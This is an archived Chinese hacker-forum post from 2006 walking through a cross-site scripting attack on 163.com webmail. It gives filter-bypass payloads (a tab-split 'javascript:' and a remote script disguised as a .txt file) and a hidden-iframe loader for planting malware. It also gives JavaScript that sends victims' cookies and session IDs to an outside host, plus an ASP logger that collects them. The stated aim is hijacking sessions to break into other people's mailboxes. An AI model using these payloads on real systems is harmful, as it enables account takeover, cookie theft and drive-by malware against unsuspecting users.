邪恶八进制信息安全团队技术讨论组's Archiver

混世魔王 2006-10-19 12:36

[转载]163 mail xss 跨站之行

163跨站之行

163的邮箱特点分析:

1.支持图片插入

2.一些URL插入效果

3.还有支持HTML的个性签名(当然只支持一些安全的HTML)

那么 我们一步一步来测试,163的邮箱吧。。。

首先,咋们来尝试一下img标签的跨站。。。

<img src=javascript:alert()>  ‘163把javascript变成了java-script

猜想他的过滤方式:

可以假设是在提交代码里检测javascript,如果发现javascript就进行处理成java-script的效果。。。

大家是否还记得上传漏洞呢???以前 我在入侵一个站的时候 也是上上传漏洞,它的代码是这么写的

只要一遇到asp就把asp去掉那么 我们可以这么构造 xxx.aaspsp 那程序看到asp马上把asp去掉,但问

题是它把asp去掉之后,我们的扩展名依然是asp,岂不是饶过它了么。。。

其实这里也可以用相同的思路,但是因为他在处理的时候是把java和script分开 在加个横杠。。。

那么咱们可以用tab键了饶过它。。。怎么构造呢很简单java   script:alert() &#39;那个空格是TAB

原理:因为它的属性值没有因为TAB键的存在而受到影响。。。也就是说我们提交的代码做终会在IMG

标签里被执行,那么跨站漏洞也就触发了。。。。


还有163过滤掉了"但是没有过滤&#39;,那么我们可以来引入一个JS

java   script:document.write(&#39;<scri&#39;+&#39;pt
src=http://www.hackwolf.cn/1.js>&#39;+&#39;</scri&#39;+&#39;pt>&#39;);

啊哦。。。。。

163居然把1.js变成了1.xs



但是很不幸,我们还是有办法的,因为就算src属性里面带个类似:x.pintoupaocai

也是可以的哦。。。

那么我们把1.js改成1.txt 好了

java   script:document.write(&#39;<scri&#39;+&#39;pt src=http://www.hackwolf.cn/1.txt>&#39;+&#39;</scri&#39;+&#39;pt>&#39;);

我们在1.txt里面写上alert(document.cookie);

发个信吧。。。look。。。成功了 成功弹出COOKIE



那么下面咋们来挂马咯。。。

java   script:document.write(&#39;<scri&#39;+&#39;pt src=http://www.hackwolf.cn/1.htm>&#39;+&#39;</scri&#39;+&#39;pt>&#39;)

1.htm里面的代码:

document.write("<iframe style=&#39;display:none;&#39; src=&#39;[url]http://www.hackwolf.cn/2.htm[/url]&#39;></iframe>")

document.write(&#39;<iframe src=&#39;[url]http://www.hackwolf.cn/[/url]&#39;></iframe>&#39;) //我现在给大家演示一下 所以显示成可见了


2.htm 里面的代码 自己构造吧 挂马啊什么的 慢慢发挥。。。

理论分析原理:

即使在COOKIE里,163的密码也是不可见的,但是完全可以通过盗取SESSION实现,因为163记录你登陆以及区别用户的方式就是通过SESSION

而客户是提交一个SESSIONID去服务端认证的,玩过ASP的都知道,我就不对罗嗦了。。。

但是163有个deadly的错误,那就是SESSION里面并没有绑定对应的IP,也就是说 任何人都可以用这个SESSIONID去服务端认证,这也就是

传说中的会话劫持。。。。

获取SESSION的办法有通过SINIFF HTTP来实现,但是 这里 我们有了跨站漏洞 还怕搞不到么,那就是盗COOKIE,(有的朋友要问了 COOKIE 和 SESSION

不是两样东西么,你盗那个顶个什么用。。。)其实 SESSION 就是COOKIE,区别就是SESSION存储在服务器上,而COOKIE放在客户机上。。。。

还有一个因素就是SESSIONID 是存储在你浏览器的进程的内存里的。。。。

好了 咋们来敲代码吧:

var code ;  //定义要注入的代码

var target="[url]http://www.hackwolf.cn/3.asp?[/url]"; //指定收取cookie的地方

info=escape(document.location+"@@@"+document.cookie); //避免出现特殊字符 用escape进行转换

target=target+info;

code="<iframe style=&#39;display:none;&#39; src=";

code=code+target;

code=code+"width=0 height=0></iframe>";

document.write(code); //写入代码

大家来注意一下这断代码:info=escape(document.location+"@@@"+document.cookie);

document.location //我获取当前页面的位置

中间我用3个@@@隔离

document.cookie //获取COOKIE

我做了这两件事,为什么呢? 因为 163的MAIL的服务器 不止一台,换句话说,我们盗的SESSIONID 必须是 对应服务器上的,如果 不同的话,那么就算盗走了也是没有用的。。。

我可以给大家抓个包来看看。。。

[url]http://uinfo.mail.163.com/enlarge3g/jiaceng163.htm?sid=pBmGSkMMKJShuTaQRZMMFpKeQVsVLjPM&host=g7a73.mail.163.com[/url]

此次登陆的服务器:g7a73.mail.163.com

sid=pBmGSkMMKJShuTaQRZMMFpKeQVsVLjPM 表示某次会话的变量,当然也必须正确,不然进不了人家的邮箱 还有就是 我们的SESSIONID当然也是保存在这个服务器上的。。。

那么我们在来理解一下document.location 这句话的含义: 这个是表示当前页面的地址,当我们得到这个SID的变量时,就能成功构造服务器的地址了。。。

后来,我们发现原来SID原来也是可以在COOKIE里面发现的,然后通过构造COOKIE 和 SESSIONID就可以进入人家的邮箱了。。。

说完客户端的代码,我们来构造一下服务端的代码吧。。。

<%
dim fso,file
str=unescape(request.Servervariables("QUERY_STRING"))
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set fso = Server.createObject("Scripting.FileSystemObject")
path = server.mappath("hackwolf.txt")
set file=fso.opentextfile(path, ForAppending, TRUE)
file.write("xss:")  
file.write(str)  
file.write vbCrLf
file.close
set file = nothing
set fso = nothing
%>

这样就会生成hackwolf.txt里面有我们要的东西。。。

那怎么进人家的邮箱呢,我们就需要一个能够修改COOKIE的浏览器了,老兵的。。。

页: [1]
© 1999-2008 EvilOctal Security Team